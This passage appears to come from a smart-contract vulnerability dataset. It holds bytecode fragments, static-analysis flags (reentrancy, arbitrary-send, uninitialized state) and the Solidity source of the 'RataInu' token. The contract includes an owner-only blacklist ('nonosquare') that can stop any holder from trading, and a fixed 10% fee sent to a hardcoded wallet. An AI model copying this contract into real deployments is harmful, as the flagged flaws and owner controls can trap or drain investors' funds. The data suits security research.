08152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122094d1e6e59d2a4f487e6daac5b1525db5da6ff32f7837db9acd119bedc4b64aab64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,955 |
0xfec6f3fcab9330b06df9ca2db9041cd1207f16a6
|
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RataInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "RataInu";
string private constant _symbol = "RataInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x8Fe5B1A52727082037547e254F338A8A550DeEDa);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
_maxWalletSize = 6000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600781526020017f52617461496e7500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f52617461496e7500000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e6016905